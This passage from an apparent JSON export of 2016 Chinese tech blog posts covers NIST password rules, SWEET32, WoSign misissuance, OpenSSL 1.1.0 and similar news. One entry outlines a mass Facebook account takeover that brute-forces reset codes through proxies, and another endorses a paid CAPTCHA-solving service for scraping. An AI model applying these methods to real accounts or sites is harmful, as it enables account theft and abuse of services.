the text was significantly warped due to curled pages.\r\n\r\nSo I decided to write a program that automatically turns pictures like the one on the left below to the one on the right:\r\n\r\n<img src=\"https://i.gslin.com/imgur/OjV7Nzl.jpg\" alt=\"\" /></blockquote>\r\n\r\n程式都可以在 <a href=\"https://github.com/\">GitHub</a> 上翻到：「<a href=\"https://github.com/mzucker/page_dewarp\">Text page dewarping using a \"cubic sheet\" model</a>」。跟 <a href=\"https://www.dropbox.com/\">Dropbox</a> 互別苗頭的感覺 XDDD",
    "title": "另外一篇講文件掃描的..."
  },
  {
    "id": "6762",
    "body": "準確度維持在同一個水準上，但是速度卻快了 n 個數量級的 text classification 工具：「<a href=\"https://code.facebook.com/posts/1438652669495149/fair-open-sources-fasttext/\">FAIR open-sources fastText</a>」。\r\n\r\n可以看到 <a href=\"https://github.com/facebookresearch/fastText\">fastText</a> 的執行速度跟其他方法的差距：\r\n\r\n<blockquote>Our experiments show that fastText is often on par with deep learning classifiers in terms of accuracy, and many orders of magnitude faster for training and evaluation.</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/9CgSDg5.webp\" /><img src=\"https://i.gslin.com/imgur/9CgSDg5.jpg\" alt=\"\" /></picture>\r\n\r\n除了 open source 外，也發表了論文：「<a href=\"https://arxiv.org/abs/1607.04606\">Enriching Word Vectors with Subword Information</a>」，看 abstract 的時候發現提到了 Skip-gram：\r\n\r\n<blockquote>In this paper, we propose a new approach based on the skip-gram model, where each word is represented as a bag of character n-grams.</blockquote>\r\n\r\n結果找資料發現自己以前寫過「<a href=\"https://blog.gslin.org/archives/2013/09/29/3665/skip-gram/\">Skip-gram</a>」這篇 XDDD",
    "title": "Facebook 開源的 fastText"
  },
  {
    "id": "6763",
    "body": "收到 <a href=\"https://www.digitalocean.com/\">DigitalOcean</a> 的信件通知，snapshot 會開始收費：\r\n\r\n<blockquote>Starting October 1, 2016, we will begin charging for snapshot storage at $0.05 per gigabyte per month. This will first be reflected in the invoice posted to your account on November 1, 2016. Like other features, snapshot storage uses hourly pricing, and size is calculated from a compressed version of the snapshot—not the total disk space allocated to the Droplet.</blockquote>\r\n\r\n來規劃看看要怎麼處理好了...",
    "title": "DigitalOcean 開始加收 Snapshot 費用"
  },
  {
    "id": "6765",
    "body": "<a href=\"https://www.openstreetmap.org/\">OpenStreetMap</a> 也開始嘗試街景圖了：「<a href=\"https://www.openstreetmap.org/user/mvexel/diary/39274\">Introducing OpenStreetView</a>」。\r\n\r\n<img src=\"https://i.gslin.com/imgur/rh6vuPp.jpg\" alt=\"\" />\r\n\r\n資料愈來愈豐富了...",
    "title": "OpenStreetMap 推出 OpenStreetView"
  },
  {
    "id": "6766",
    "body": "<a href=\"https://libreboot.org/\">Libreboot</a> 是一個 open source 版本的 BIOS/UEFI 替代品：\r\n\r\n<blockquote>Libreboot is a free BIOS or UEFI replacement (free as in freedom); libre boot firmware that initializes the hardware and starts a bootloader for your operating system.</blockquote>\r\n\r\n而最近的版本則是順利的在沒有修改作業系統來配合 Libreboot 的情況下將 <a href=\"https://www.freebsd.org/\">FreeBSD</a> 與 <a href=\"https://www.openbsd.org/\">OpenBSD</a> (不過是 kOpenBSD) 開起來了：「<a href=\"https://lists.nongnu.org/archive/html/libreboot/2016-08/msg00058.html\">Re: [Libreboot] GNU Libreboot, version 20160818 released</a>」。",
    "title": "Libreboot 成功的讓 FreeBSD/OpenBSD 開機"
  },
  {
    "id": "6769",
    "body": "由 <a href=\"http://www.nist.gov/\">NIST</a> 所提出來的規範 (<a href=\"https://github.com/usnistgov/800-63-3\">Special Publication 800-63-3: Digital Authentication Guidelines</a>)，雖然還在 Draft 階段，但可以看出目前密碼規範的趨勢跟以前的不同：「<a href=\"https://nakedsecurity.sophos.com/2016/08/18/nists-new-password-rules-what-you-need-to-know/\">NIST’s new password rules – what you need to know</a>」。\r\n\r\n整份規範可以在 <a href=\"https://github.com/\">GitHub</a> 上讀到，不過 markdown 好像沒處理好，直接在 GitHub 上看到的有點亂，不過還算看得懂就是了...\r\n\r\n在 NIST 網站上有 html 版本「<a href=\"https://pages.nist.gov/800-63-3/\">Digital Authentication Guideline: Public Preview</a>」可以讀，應該會好一些。\r\n\r\n整份 guideline 很長，密碼的部份主要是在「<a href=\"https://pages.nist.gov/800-63-3/sp800-63b.html\">DRAFT NIST Special Publication 800-63B Digital Authentication Guideline</a>」這份裡面關於「Memorized Secrets」的部份。\r\n\r\n先講對一般業者最不能理解的事情：\r\n\r\n<ul>\r\n\t<li>有「安全問題」反而會讓系統安全變弱。</li>\r\n\t<li>要求使用者有大小寫、特殊符號這種讓使用者更難記密碼的限制，反而會讓使用者選出更差的密碼。讓使用者自由選擇密碼，同時用黑名單機制把常見的密碼擋下來會是比較好的選擇。</li>\r\n\t<li>定期換密碼反而會讓使用者選擇更差的密碼 (因為要花力氣記，所以會選擇簡單的密碼)，不如讓使用者選一個強一點的密碼一直用。同時要合理設計限制登入錯誤的機制。</li>\r\n\t<li>絕對不可以存明碼。</li>\r\n</ul>\r\n\r\n下面開始 copy &amp; paste 然後給簡單的註釋...\r\n\r\n首先是對最低長度的定義，至少要八碼。而對最大長度的限制是「至少你要讓使用者可以輸入 64 碼」：\r\n\r\n<blockquote>Verifiers SHALL require subscriber-chosen memorized secrets to be at least 8 characters in length. Verifiers SHALL permit user-chosen memorized secrets to be at least 64 characters in length.</blockquote>\r\n\r\n密碼不應該限制特殊字元，只要可以印出來的 ASCII 與空白都應該被允許，而 <a href=\"http://unicode.org/\">Unicode</a> 也應該要被允許：\r\n\r\n<blockquote>All printing ASCII [RFC 20] characters as well as the space character SHALL be acceptable in memorized secrets; Unicode [ISO/ISC 10646:2014] characters SHOULD be accepted as well.</blockquote>\r\n\r\n空白可以被濾掉來判斷，但其他的字元都應該被當作強密碼的一部分來判斷：\r\n\r\n<blockquote>Verifiers MAY remove space characters prior to verification; all other characters SHALL be considered significant.</blockquote>\r\n\r\n要注意的是，為了強度，每一個 Unicode 應該只算一個有效字元：\r\n\r\n<blockquote>For purposes of the above length requirements, each Unicode code point SHALL be counted as a single character.</blockquote>\r\n\r\n當密碼是隨機被系統設定時，可以是六個字元的強隨機數字：\r\n\r\n<blockquote>Memorized secrets that are randomly chosen by the CSP (e.g., at enrollment) or by the verifier (e.g., when a user requests a new PIN) SHALL be at least 6 characters in length and SHALL be generated using an approved random number generator.</blockquote>\r\n\r\n另外很重要的是，不應該有提示存取的功能，也就是「安全問題」不安全，所以要被禁止：\r\n\r\n<blockquote>Memorized secret verifiers SHALL NOT permit the subscriber to store a “hint” that is accessible to an unauthenticated claimant. Verifiers also SHALL NOT prompt subscribers to use specific types of information (e.g., “What was the name of your first pet?”) when choosing memorized secrets.</blockquote>\r\n\r\n然後針對已知的弱密碼 (像是字典單字，以及之前被洩漏出來的密碼) 都應該擋下來：\r\n\r\n<blockquote>When processing requests to establish and change memorized secrets, verifiers SHOULD compare the prospective secrets against a dictionary of known commonly-used and/or compromised values. This list SHOULD include passwords from previous breach corpuses, as well as dictionary words and specific words (such as the name of the service itself) that users are likely to choose. If the chosen secret is found in the dictionary, the subscriber SHOULD be required to choose a different value. The subscriber SHOULD be advised that they need to select a different secret because their previous choice was commonly used.</blockquote>\r\n\r\n另外不應該要求使用者要特殊字元或是大小寫這種限制，而且也不應該要求使用者定期換密碼 (除非確認被破了)：\r\n\r\n<blockquote>Verifiers SHOULD NOT impose other composition rules (mixtures of different character types, for example) on memorized secrets. Verifiers SHOULD NOT require memorized secrets to be changed arbitrarily (e.g., periodically) unless there is evidence of compromise of the authenticator or a subscriber requests a change.</blockquote>\r\n\r\n另外禁止用明碼存密碼，必須用 PBKDF2 這類可以防禦快速離線計算的演算法：\r\n\r\n<blockquote>Verifiers SHALL store memorized secrets in a form that is resistant to offline attacks. Secrets SHALL be hashed with a salt value using an approved hash function such as PBKDF2 as described in [SP800-132]. The salt value SHALL be a 32 bit (or longer) random value generated by an approved random number generator and is stored along with the hash result. At least 10,000 iterations of the hash function SHOULD be performed. A keyed hash function (e.g., HMAC), with the key stored separately from the hashed authenticators (e.g., in a hardware security module) SHOULD be used to further resist dictionary attacks against the stored hashed authenticators.</blockquote>",
    "title": "NIST 新的密碼規範"
  },
  {
    "id": "6771",
    "body": "這邊如果把 atomatically 翻成原子性好像怪怪的，就照意思來翻好了。\r\n\r\n這是一篇 2005 年的文章，講如何更換 symbolic link 內容，而且確保 symbolic link 不會短時間不見：「<a href=\"http://blog.moertel.com/posts/2005-08-22-how-to-change-symlinks-atomically.html\">How to change symlinks atomically</a>」。\r\n\r\n作者拿了 <a href=\"https://en.wikipedia.org/wiki/Strace\">strace</a> 解釋 <code>ln -snf</code> 的例子，來說明這個方法沒辦法做到無縫：\r\n\r\n<pre>$ strace ln -snf new current 2>&amp;1 | grep link\r\nunlink(\"current\")         = 0\r\nsymlink(\"new\", \"current\") = 0</pre>\r\n\r\n在 <code>unlink()</code> 與 <code>symlink()</code> 中間的 race condition 如果有人存取這個 symbolic link 就會失敗。作者提了這樣的方法來解決：\r\n\r\n<pre>$ ln -s new current_tmp &amp;&amp; mv -Tf current_tmp current</pre>\r\n\r\n在「<a href=\"https://unix.stackexchange.com/questions/5093/how-does-one-atomically-change-a-symlink-to-a-directory-in-busybox\">How does one atomically change a symlink to a directory in busybox?</a>」這邊雖然提問的是 <a href=\"https://busybox.net/\">BusyBox</a>，但道理相同，提到了怎麼做以及為什麼 (不要看綠色勾勾那個，看分數比較高的那個)：\r\n\r\n<blockquote>This can indeed be done atomically with <code>rename(2)</code>, by first creating the new symlink under a temporary name and then cleanly overwriting the old symlink in one go.</blockquote>\r\n\r\n當 <code>DocumentRoot</code> 是 symbolic link 時，這點變得很重要。這個方法才能避免切換目錄的過程中間不會有空檔，導致使用者收到 404...\r\n\r\n另外通常會配合 <a href=\"https://github.com/etsy/mod_realdoc\">mod_realdoc</a> 一起用，避免程式用到 DocumentRoot 的路徑而導致前面指到的東西跟後面指到的東西不同。",
    "title": "無縫更換 symbolic link 所指的目錄或檔案"
  },
  {
    "id": "6772",
    "body": "Nuclear Fallout Shelter 照字面翻是核放射塵碉堡，意思上算是可以對抗輻射塵的防空洞，用 <a href=\"https://translate.google.com/\">Google Translate</a> 翻出來是「核輻射避難所」，感覺也頗貼切的啦...\r\n\r\n而 C14 project 則是 <a href=\"https://www.online.net/\">Online.net</a> 在巴黎的核輻射避難所建立 data center 的玩意：「<a href=\"https://blog.online.net/2016/08/23/c14-story-part-1-meet-our-nuclear-fallout-shelter/\">C14 story - Part 1 Meet Our Nuclear Fallout Shelter</a>」\r\n\r\n在地下 26 公尺，如果一層樓三米的話，大約是已經是地下八樓到九樓的位置了：\r\n\r\n<blockquote>Starting in October 2016, you will be able to store all your critical C14 data in our fallout shelter, located 26 meters underground in Paris, France.</blockquote>\r\n\r\n<img src=\"https://i.gslin.com/imgur/AHThJyY.jpg\" alt=\"\" />\r\n\r\n<img src=\"https://i.gslin.com/imgur/I8uG1F4.jpg\" alt=\"\" />\r\n\r\n整個計畫在 2012 年從法國政府買下來，然後開始重建：\r\n\r\n<blockquote>In 2011, the French state, owner of the building, decided to move the Ponts et Chaussées' central laboratory in the Parisian suburb and started to dismantle the building.\r\n\r\nThe Ponts et Chaussées' central laboratory buildings were revamped and divided in multiple bundles to be sold and transformed in multi-unit housing. The main building and the shelter were sold separately via a public invitation to tender. Online landed the deal in September 2012 with the project to build a Datacenter. The project’s codename is DC4.</blockquote>\r\n\r\n<img src=\"https://i.gslin.com/imgur/IlAyi81.jpg\" alt=\"\" />\r\n\r\n<img src=\"https://i.gslin.com/imgur/anEMIwV.jpg\" alt=\"\" />\r\n\r\n接近完工的照片看起來好棒啊：\r\n\r\n<img src=\"https://i.gslin.com/imgur/E5reFVU.jpg\" alt=\"\" />\r\n\r\n看起來這是一系列的故事，到時候應該會有不少照片可以看...",
    "title": "在核輻射避難所建的資料中心"
  },
  {
    "id": "6773",
    "body": "最新的攻擊算是實戰類的攻擊，理論基礎以前都已經知道了，只是沒有人實際「完成」。算是近期少數直接對演算法的攻擊，而這些演算法剛好還是被用在 <a href=\"https://en.wikipedia.org/wiki/Transport_Layer_Security\">TLS</a> 與 <a href=\"https://openvpn.net/\">OpenVPN</a> 上，所以嚴重性比較高：「<a href=\"https://sweet32.info/\">SWEET32: Birthday attacks on 64-bit block ciphers in TLS and OpenVPN</a>」。\r\n\r\n攻擊的條件是 block cipher 的 block size，而非 key length，所以就算是 256 bits 的 Blowfish 也一樣也受到影響。\r\n\r\n這次順利打下 <a href=\"https://en.wikipedia.org/wiki/Blowfish_(cipher)\">Blowfish</a> 與 <a href=\"https://en.wikipedia.org/wiki/Triple_DES\">3DES</a>。這兩個 cipher 的 block size 都是 64 bits，所以對於 birthday attack 來說只要 2<sup>32</sup> 就可以搞定：\r\n\r\n<blockquote>This problem is well-known by cryptographers, who always require keys to be changed well before 2<sup>n/2</sup> blocks. However it is often minimized by practitioners because the attacks require known plaintext, and reveal only little information. Indeed, standard bodies only recommend to change the key just before 2<sup>n/2</sup> blocks, and many implementations don't enforce any limit on the use of a key.</blockquote>\r\n\r\n在 OpenVPN 打 Blowfish 的部份 (Blowfish 是 OpenVPN 預設的 cipher)：\r\n\r\n<blockquote>In our demo, it took 18.6 hours and 705 GB, and we successfully recovered the 16-byte authentication token.</blockquote>\r\n\r\n以及 HTTPS 打 3DES 的部份 (為了相容性問題)：\r\n\r\n<blockquote>Experimentally, we have recovered a two-block cookie from an HTTPS trace of only 610 GB, captured in 30.5 hours.</blockquote>\r\n\r\n都是有可能的等級。也該來拔掉對 IE8 的支援了... orz",
    "title": "SWEET32：攻 Blowfish 與 3DES"
  },
  {
    "id": "6774",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到的文章，講如何用 JavaScript 砍站：「<a href=\"https://franciskim.co/2016/08/24/dont-need-no-stinking-api-web-scraping-2016-beyond/\">I Don’t Need No Stinking API – Web Scraping in 2016 and Beyond</a>」。\r\n\r\n引起注意的是「Beating CAPTCHA」這邊，直接拿 <a href=\"http://antigate.com/\">Antigate</a> 的服務 (付費服務) 來打穿 CAPTCHA，看了一下價錢：\r\n\r\n<blockquote>Cheapest price on the market - starting from 0.7USD per 1000 images, depending on the daily volume</blockquote>\r\n\r\n唔，這服務這好像頗不賴... 記錄起來用 :o",
    "title": "砍站的技巧？"
  },
  {
    "id": "6775",
    "body": "美國郵局決定要發行 <a href=\"http://www.startrek.com/\">Star Trek</a> 五十週年郵票：「<a href=\"http://www.openculture.com/2016/08/star-trek-postage-stamps-coming-soon.html\">Star Trek Postage Stamps Coming Soon: Celebrating 50 Years of Exploring the Final Frontier</a>」。\r\n\r\n<img src=\"https://i.gslin.com/imgur/dOyh9k3.jpg\" alt=\"\" />\r\n\r\n也快五十年了啊：\r\n\r\n<blockquote>The original Star Trek TV series took to the airwaves nearly 5o years ago–on September 8, 1966.</blockquote>",
    "title": "Star Trek 五十週年郵票"
  },
  {
    "id": "6776",
    "body": "<a href=\"https://github.com/lukas2511/letsencrypt.sh\">letsencrypt.sh</a> 是個用 shell script 實作出來的 letsencrypt/acme client，可以對 <a href=\"https://letsencrypt.org/\">Let's Encrypt</a> 申請出 SSL certificate。相較於官方後來交接給 <a href=\"https://www.eff.org/\">EFF</a> 的 <a href=\"https://certbot.eff.org/\">Certbot</a>，我還蠻推薦使用純粹只需要 shell script 的 letsencrypt.sh...\r\n\r\n由於作者沒有發出新的 release tarball，加上目前最新的 release 的程式也已經無法使用，所以昨天花了點時間更新了 letsencrypt.sh 的 PPA，就弄了一個 0.2.0.20160822 (版本號碼大於目前的 release 版本的 0.2.0)：「<a href=\"https://launchpad.net/~gslin/+archive/ubuntu/letsencrypt.sh\">PPA for letsencrypt.sh</a>」。\r\n\r\n與 0.2.0 版相比有個 BC-break 的地方：新版的 config 改檔名了 (從 <code>config.sh</code> 變成 <code>config</code>)，如果之前有設定的話要記得改：\r\n\r\n<pre>$ cd /etc/letsencrypt.sh/\r\n$ sudo mv config.sh config</pre>\r\n\r\n也趁機把之前建立 source package 的 <code>build.sh</code> 改成可以吃 git hash 或是 tag name 的版本，這樣需要針對特定版本產生 source package 也簡單多了。",
    "title": "更新 letsencrypt.sh 的 PPA"
  },
  {
    "id": "6778",
    "body": "前幾天看到「<a href=\"http://blog.izs.me/post/149389583198/someone-emailed-me-asking-for-tips-or-sites-for\">Someone emailed me asking for tips or sites for learning JavaScript, and this is my final answer.</a>」這篇也是頗有趣的...\r\n\r\n<blockquote>Read the ECMAScript specification.</blockquote>\r\n\r\n下面還花了些篇幅解釋要怎麼讀 XDDD\r\n\r\n<blockquote>Don’t feel like you have to understand every word. Give yourself permission to just force the words into your brain, and move on to the next section. If you’re diligent about it, it only takes a few hours. Repeat this process every few years.</blockquote>\r\n\r\n超硬派的 XDDD",
    "title": "硬派學 JavaScript..."
  },
  {
    "id": "6779",
    "body": "看到 <a href=\"http://www.scylladb.com/\">Scylla</a> 正式公告 1.3 版的消息了：「<a href=\"http://www.scylladb.com/2016/08/25/release-1.3/\">Scylla release: version 1.3</a>」。\r\n\r\nScylla 是用 C++ 重寫 Java 版本的 <a href=\"https://cassandra.apache.org/\">Cassandra</a> 所有東西 (包括資料結構與 Protocol)，目標是做到可以完全相容替換現有 Cassandra Cluster。(號稱可以一台一台移除 Cassandra 的程式，裝上 Scylla 後就可以無痛換過去)\r\n\r\n而 Scylla 另外一個重點是效能的提昇，官方宣稱在完整最佳化的情況下是 10x 以上的效能提昇，之前拿 <a href=\"https://aws.amazon.com/\">AWS</a> 實測 (沒有完整最佳化) 也可以看到 2x 到 4x 的數字，對於目前的 Cassandra 應用來說極為重要。\r\n\r\n1.3 版最重要的功能就是對 <a href=\"https://thrift.apache.org/\">Thrift</a> 的支援：\r\n\r\n<blockquote>Thrift support. Many Cassandra users are still using Thrift, and they can now continue doing so while benefiting from Scylla’s performance. Built on top of Scylla CQL internal implementation, Scylla Thrift provides similar throughput and latency to Scylla CQL. Users of projects like KairosDB and Titan can now migrate to Scylla while maintaining full protocol compatibility .</blockquote>\r\n\r\n本來在 roadmap 上的計畫是用兩個版本支援 Thrift：(從 Google Cache 拉出來的，CSS 看起來有些問題，不過意思有到就好)\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/vlDHTry.webp\" /><img src=\"https://i.gslin.com/imgur/vlDHTry.jpg\" alt=\"\" /></picture>\r\n\r\n剛剛發現 1.4 的 roadmap 已經沒有列 Thrift 了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/ZGVEeBY.webp\" /><img src=\"https://i.gslin.com/imgur/ZGVEeBY.jpg\" alt=\"\" /></picture>\r\n\r\n這應該是暗示已經實作完了？透過 Thrift 界面跟 Cassandra 溝通的應用程式都可以使用 Scylla 了...\r\n\r\n先前在「<a href=\"https://github.com/scylladb/scylla/issues/1139\">Facebook Presto · Issue #1139 · scylladb/scylla</a>」這邊跟 ScyllaDB 的人花了不少時間，總算是給出一份 data set 可以讓他們重製 bug，也算是有代價了 XD",
    "title": "Scylla 1.3"
  },
  {
    "id": "6780",
    "body": "看到「<a href=\"https://lwn.net/Articles/698310/\">OpenSSL 1.1.0 released</a>」這篇得知大家期待已久的 <a href=\"https://www.openssl.org/news/openssl-1.1.0-notes.html\">OpenSSL 1.1.0</a> 出了，在 1.1.0 的重要新功能中，對 <a href=\"https://en.wikipedia.org/wiki/ChaCha20\">ChaCha20</a> + <a href=\"https://en.wikipedia.org/wiki/Poly1305\">Poly1305</a> 的支援算是大家等很久的：\r\n\r\n<blockquote><ul><li>Support for ChaCha20 and Poly1305 added to libcrypto and libssl</li></ul></blockquote>\r\n\r\n由於 <a href=\"https://en.wikipedia.org/wiki/RC4\">RC4</a> 已經被證明不安全，<a href=\"https://www.openssl.org/\">OpenSSL</a> 內變成沒有堪用的 stream cipher，這邊總算要補上來了...\r\n\r\n另外兩個也頗有趣的：\r\n\r\n<blockquote><ul><li>Support for scrypt algorithm</li>\r\n<li>Support for X25519</li></ul></blockquote>\r\n\r\n多了些東西...",
    "title": "OpenSSL 1.1.0"
  },
  {
    "id": "6781",
    "body": "雖然平常早就把 <a href=\"https://www.wosign.com/\">WoSign</a> 移除信任，但在「<a href=\"http://www.solidot.org/story?sid=49448\">Mozilla考虑对沃通CA采取行动</a>」這邊看到有趣的消息，翻了一下 Gervase Markham 發表的原文還蠻精彩的：「<a href=\"https://groups.google.com/forum/#!msg/mozilla.dev.security.policy/k9PBmyLCi8I/mKSMaz9eCgAJ\">Incidents involving the CA WoSign</a>」。\r\n\r\n第一次事件 (Incident 0) 是在 2015/04/23，攻擊者只要能夠證明他能控制某個 TCP port，就會發出 certificate：\r\n\r\n<blockquote>On or around April 23rd, 2015, WoSign's certificate issuance system for their free certificates allowed the applicant to choose any port for validation. Once validation had been completed, WoSign would issue certificates for that domain. A researcher was able to obtain a certificate for a university by opening a high-numbered port (&gt;50,000) and getting WoSign to use that port for validation of control.</blockquote>\r\n\r\n設計不良造成的資安事件總是會發生。重點在於 <a href=\"https://www.google.com/\">Google</a> 知道，但 <a href=\"https://www.mozilla.org/\">Mozilla</a> 完全不知道：(我講得很保守是因為這個句子在 thread 後面被澄清解釋的更慘，參考後文)\r\n\r\n<blockquote>This problem was reported to Google, and thence to WoSign and resolved. Mozilla only became aware of it recently.</blockquote>\r\n\r\n更嚴重的是，這次的事件在 WoSign 的稽核上沒有出現：\r\n\r\n<blockquote>* This misissuance incident did not turn up on WoSign's subsequent BR audit[1].</blockquote>\r\n\r\n第二次事件 (Incident 1) 是在 2015 年六月，也是資安設計的問題，當你可以拿到 WoSign 所指定的 subdomain 控制權後，你就可以拿到 parent domain 的 certificate，而這次甚至被拿到 <a href=\"https://github.com/\">GitHub</a> 全系列的 certificate：\r\n\r\n<blockquote>The reporter proved the problem in two ways. They accidentally discovered it when trying to get a certificate for med.ucf.edu and mistakenly also applied for www.ucf.edu, which was approved. They then confirmed the problem by using their control of theiraccount.github.com/theiraccount.github.io to get a cert for github.com, github.io, and www.github.io.</blockquote>\r\n\r\n嗯，也沒通報：\r\n\r\n<blockquote>* This misissuance incident was not reported to Mozilla by WoSign as it should have been (see above).</blockquote>\r\n\r\n嗯，稽核也沒出來：\r\n\r\n<blockquote>* This misissuance incident did not turn up on WoSign's subsequent BR audit[1].</blockquote>\r\n\r\n嗯，被拿到的 domain (<code>ucf.edu</code>) 也沒 revoke：(可以從「<a href=\"https://crt.sh/?id=29647048\">crt.sh | 29647048</a>」這邊看到)\r\n\r\n<blockquote>They reported this to WoSign, giving only the Github certificate as an example. That cert was revoked and the vulnerability was fixed. However recently, they got in touch with Google to note that the ucf.edu cert still had not been revoked almost a year later.</blockquote>\r\n\r\n第三次事件 (Incident 2) 則是在 2016 年七月，由於現在大多數的瀏覽器都會對 2016 後簽出的 SHA-1 憑證直接標示為不安全，而 WoSign 的 API 提供造假，讓簽名日期 (<code>notBefore</code>) 簽在 2015/12/20：\r\n\r\n<blockquote>Using the value \"1\" led to a certificate which had a notBefore date (usage start date) of 20th December 2015, and which was signed using the SHA-1 checksum algorithm.</blockquote>\r\n\r\n嗯，然後否認造假：\r\n\r\n<blockquote>* WoSign deny that their code backdated the certificates in order to avoid browser-based restrictions - they say \"this date is the day we stop to use this code\"[4]. If that is true, it is not clear to us how StartCom came to deploy WoSign code that WoSign itself had abandoned.</blockquote>\r\n\r\n嗯，然後還是沒有回報給 Mozilla：\r\n\r\n<blockquote>* This misissuance incident was not reported to Mozilla by WoSign as it should have been.</blockquote>\r\n\r\n稽核報告應該是因為這太新，還沒開始做？\r\n\r\n另外在 thread 討論時，Google 的 Ryan Sleevi 澄清的更慘：\r\n\r\n<blockquote>Clarification: In none of these incidents was Google notified proactively by WoSign. Instead, Google received communication from internal or external researchers regarding these issues, either prior to resolution or much later after the fact, and subsequently contacted WoSign regarding them.\r\n\r\nIt was only when Google found out recently that other programs were NOT notified, proactively, as had been expected, that Google shared the details it was aware of regarding various CA incidents, including those of WoSign, mentioned in this thread.</blockquote>\r\n\r\n也就是說，是 Google 主動發現這些問題，並且通報 WoSign。後來過了許久發現 WoSign 沒有照規定通報其他 CA Root 管理單位 (以這邊來說是 Mozilla)，於是 Google 決定主動通報其他單位，然後大～爆～炸～\r\n\r\n在密碼學理論裡，CA 架構是靠著稽核建立信任的，這次的事情又再次證實這個問題 (但目前沒有其他好的機制可以做)。來猜測下場的話，我的預期是會像拔掉 CNNIC 的作法拔掉信任，但針對之前發出的 certificate 設為白名單 (直到過期)：\r\n\r\n<ul>\r\n\t<li><a href=\"https://blog.gslin.org/archives/2015/04/02/5701/cnnic-%E7%9A%84%E6%A0%B9%E6%86%91%E8%AD%89-%E5%8C%85%E6%8B%AC-ev-%E5%BE%9E-google-%E5%85%A8%E7%B3%BB%E5%88%97%E7%94%A2%E5%93%81%E7%A7%BB%E9%99%A4/\">CNNIC 的根憑證 (包括 EV) 從 Google 全系列產品移除</a></li>\r\n\t<li><a href=\"https://blog.gslin.org/archives/2015/04/03/5702/mozilla-%E4%B9%9F%E5%AE%A3%E4%BD%88%E7%A7%BB%E9%99%A4-cnnic-%E6%A0%B9%E6%86%91%E8%AD%89/\">Mozilla 也宣佈移除 CNNIC 根憑證</a></li>\r\n</ul>",
    "title": "Mozilla 在考慮移除 WoSign 的 CA Root"
  },
  {
    "id": "6783",
    "body": "<a href=\"https://www.facebook.com/\">Facebook</a> 安全設計上的問題造成的重大漏洞：「<a href=\"https://thehackernews.com/2016/08/hack-facebook-account.html\">Hacker reveals How He Could have Hacked Multiple Facebook Accounts</a>」。\r\n\r\n攻擊者先用很多 proxy 去打出哪些 id 是有效的：\r\n\r\n<blockquote>Gurkirat first collected valid Facebook IDs by making queries to Facebook Graph API starting with 100,000,000,000,000, since Facebook IDs are generally 15-digit long and then visited www.facebook.com/[ID] with a valid ID number in place of [ID].</blockquote>\r\n\r\n這樣他就順利打出兩百萬個帳號：\r\n\r\n<blockquote>Once entered, the URL automatically redirected and changed the Facebook ID to the user's username. In this way, first, he was able to make a list of 2 Million valid Facebook usernames.</blockquote>\r\n\r\n接下對這些帳號發出重設密碼的需求，並且開始亂猜六碼數字 (也是透過大量的 proxy)：\r\n\r\n<blockquote>Then using a script, hundreds of proxies and random user-agents, Gurkirat automatically initiated the password reset requests for those 2 million users, each assigned a 6-digit password reset code, thus consuming the complete 6-digit range.</blockquote>\r\n\r\n然後就打出一票來了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/j6B1mhk.webp\" /><img src=\"https://i.gslin.com/imgur/j6B1mhk.jpg\" alt=\"\" /></picture>\r\n\r\n最大的問題在於六碼數字的強度不夠，但 Facebook 看起來沒打算改...",
    "title": "大量破解 Facebook 帳號的方法"
  },
  {
    "id": "6784",
    "body": "在「<a href=\"http://fusion.net/story/339018/facebook-psychiatrist-privacy-problems/\">Facebook recommended that this psychiatrist’s patients friend each other</a>」這邊報導了 <a href=\"https://www.facebook.com/\">Facebook</a> 推薦好友機制的演算法意外的拉出了奇怪的東西：\r\n\r\n<blockquote>[...], such as this story from Lisa*, a psychiatrist who is an infrequent Facebook user, mostly signing in to RSVP for events. Last summer, she noticed that the social network had started recommending her patients as friends—and she had no idea why.\r\n\r\n“I haven’t shared my email or phone contacts with Facebook,” she told me over the phone.</blockquote>\r\n\r\n精神科醫師被 Facebook 推薦他的病人... 而更慘的是病人也收到的推薦包括了其他的病人：\r\n\r\n<blockquote>Another one of her female patients had a friend recommendation pop up for a fellow patient she recognized from the office’s elevator. Suddenly, she knew the other patient’s full name along with all their Facebook profile information.\r\n\r\n“It’s a massive privacy fail,” said Lisa. “I have patients with HIV, people that have attempted suicide and women in coercive and violent relationships.”</blockquote>\r\n\r\n而且因為職業的關係，他也對此很小心防範：\r\n\r\n<blockquote>Lisa lives in a relatively small town and was alarmed that Facebook was inadvertently outing people with health and psychiatric issues to her network. She’s a tech-savvy person, familiar with VPNs, Tor and computer security practices recommended by the Electronic Frontier Foundation–but she had no idea what was causing it.</blockquote>\r\n\r\n這聽起來不是什麼好演算法 :o",
    "title": "Facebook 推薦好友機制的演算法讓更多的隱私問題浮現..."
  },
  {
    "id": "6786",
    "body": "在 <a href=\"https://twitter.com/\">Twitter</a> 上看到 <a href=\"https://letsencrypt.org/\">Let's Encrypt</a> 轉了這則講 SSL/TLS 與 PKI 的時間線：「<a href=\"https://www.feistyduck.com/ssl-tls-and-pki-history/\">SSL/TLS and PKI History</a>」。\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">A nice timeline of events in the history of SSL/TLS: <a href=\"https://t.co/mRXg2yX75Y\">https://t.co/mRXg2yX75Y</a></p>&mdash; Let&#39;s Encrypt (@letsencrypt) <a href=\"https://twitter.com/letsencrypt/status/770767000670867456\">August 30, 2016</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n這幾年的資料比較完整，看著這些時間線剛好可以拿來複習一下。\r\n\r\n而 2013 年 <a href=\"https://en.wikipedia.org/wiki/Edward_Snowden\">Snowden</a> 的事情也被放進去了，這使得這三年各種 SSL/TLS 化的進展急劇加速 (包括各種 HTTPS 的進展，甚至是郵件的 <a href=\"https://en.wikipedia.org/wiki/Opportunistic_TLS\">STARTTLS</a> 加密等等)，也因此推動了像是 Let's Encrypt 這樣更方便提供 SSL/TLS certificate 的組織成立。",
    "title": "SSL/TLS 以及 PKI 的歷史 (加上各種風風雨雨)"
  },
  {
    "id": "6787",
